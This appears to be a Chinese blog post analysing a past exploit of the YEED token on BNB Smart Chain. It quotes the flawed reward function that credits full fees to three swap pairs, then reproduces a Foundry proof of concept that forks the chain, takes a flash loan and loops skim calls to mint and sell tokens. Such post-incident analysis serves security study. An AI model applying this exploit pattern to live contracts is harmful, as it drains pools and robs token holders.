YEED 漏洞分析
交易:https://bscscan.com/tx/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f3ca3fa83a 合约地址: BSC-USD-ZEED: https://bscscan.com/address/0xb2f53069e1555793481aafe639f8e274f4ec8435 BSC-USD-YEED 2:https://bscscan.com/address/0xa7741d6b60a64b2aae8b52186adea77b1ca05054 BSC-ZEED-YEED 2:https://bscscan.com/address/0x8893610232c87f4a38dc9b5ab67cbc331dc615d6 BSC-HO-YEED 2 : https://bscscan.com/address/0xbc70fa7aea50b5ad54df1edd7ed31601c350a91a YEED代币合约地址: https://bscscan.com/address/0xe7748fce1d1e2f2fd2dddb5074bd074745dda8ea#code 攻击者账户:https://bscscan.com/address/0xec14207d56e10f72446576779d9b843e476e0fb0 攻击者合约地址: https://bscscan.com/address/0x05e55d051ac0a5fb744e71704a8fa4ee3b103374
通过交易所获利的思路除了操作代币价格失衡外,更简单的方法是获得交易的代币即可。攻击者通过利用合约漏洞直接不停增发代币,最终通过交易所获利。
根据以上攻击思路,从交易记录分析攻击过程:
function _takeReward(
address sender,
uint256 rewardFee
) private {
if (rewardFee == 0) return;
uint256 zeedReward = rewardFee.div(2); //合约中本意给每个交易所的比例为50%、25%、25%
uint256 hoReward = rewardFee.div(2).div(2);
uint256 usdtReward = rewardFee.sub(zeedReward).sub(hoReward);
_balances[swapPair] = _balances[swapPair].add(rewardFee); //但此处给每个交易所都增加了100%,意味着增发了200%的burn数量代币
emit Transfer(sender, swapPair, usdtReward);
_balances[swapPairZeed] = _balances[swapPairZeed].add(rewardFee);
emit Transfer(sender, swapPairZeed, zeedReward);
_balances[swapPairHo] = _balances[swapPairHo].add(rewardFee);
emit Transfer(sender, swapPairHo, hoReward);
}
//transfer amount, it will take tax, burn, liquidity fee
if (isSwapPair(to)) {
_transferSell(from, to, amount);
} else {
_transferStandard(from, to, amount);
}
复现代码参考链接:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Zeed_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
IPancakeRouter pancakeRouter =
IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968)); //定义各交易所地址以及合约类型
IPancakePair usdtYeedHoSwapPair =
IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
IPancakePair usdtYeedPair =
IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
IPancakePair hoYeedPair =
IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
IPancakePair zeedYeedPair =
IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public { //指定fork的区块
cheats.createSelectFork("bsc", 17132514); // fork bsc at block 17132514
}
function testExploit() public {
yeed.approve(address(pancakeRouter), type(uint256).max);
(uint112 _reserve0, uint112 _reserve1, ) = usdtYeedHoSwapPair.getReserves(); //获取闪电贷
usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
emit log_named_uint(
"Before exploit, USDT balance of attacker:",
usdt.balanceOf(msg.sender)
);
address[] memory path = new address[](3);
path[0] = address(yeed);
path[1] = hoYeedPair.token0();
path[2] = usdtYeedPair.token0();
pancakeRouter.swapExactTokensForTokens(
yeed.balanceOf(address(this)),
0,
path,
msg.sender,
block.timestamp + 120
);
emit log_named_uint(
"After exploit, USDT balance of attacker:",
usdt.balanceOf(msg.sender)
);
}
function pancakeCall( //闪电贷回调函数,真正漏洞利用逻辑实现
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) public {
yeed.transfer(address(usdtYeedPair), amount1);
for (uint256 i = 0; i < 10; i++) { //循环调用3处交易所,实现代币增发
usdtYeedPair.skim(address(hoYeedPair));
hoYeedPair.skim(address(zeedYeedPair));
zeedYeedPair.skim(address(usdtYeedPair));
}
usdtYeedPair.skim(address(this)); //将各交易所增发的YEED代币转移至本合约地址
hoYeedPair.skim(address(this));
zeedYeedPair.skim(address(this));
yeed.transfer(msg.sender, (amount1 * 1000) / 997); //归还闪电贷,因为存在利息,所以amount1 *1000/997
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!